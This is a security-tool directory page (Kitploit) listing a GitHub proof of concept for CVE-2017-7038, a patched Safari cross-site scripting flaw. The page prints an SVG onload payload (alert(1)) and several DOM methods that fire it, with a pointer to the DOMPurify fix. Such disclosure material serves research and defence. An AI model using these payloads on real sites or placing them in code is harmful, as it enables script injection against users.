Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2017-7038 — Safari XSS (CVE-2017-7038) https://support.apple.com/en-us/HT207923 | Kitploit
Tools/GitHubGitHub/ansjdnakjdnajkd/cve-2017-7038
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubansjdnakjdnajkd/cve-2017-7038

CVE-2017-7038

Safari XSS (CVE-2017-7038) https://support.apple.com/en-us/HT207923

View Repository
33138 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2017-7038

Safari XSS (CVE-2017-7038) https://support.apple.com/en-us/HT207923

Document implementation XSS vulnerability

var payload = '<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>';

document.createElement('body').innerHTML = payload;

document.implementation.createHTMLDocument().write(payload);

new DOMParser().parseFromString(payload, 'text/html');

var xhr = new XMLHttpRequest;
xhr.responseType='document'
xhr.open('GET', 'data:text/html,', false);
xhr.send(null);
xhr.response.body.innerHTML=payload;

Authors: @ansjdnakjdnajkd and @ShikariSenpai

Thanks and fix also at https://github.com/cure53/DOMPurify/releases/tag/0.8.7

Download Tool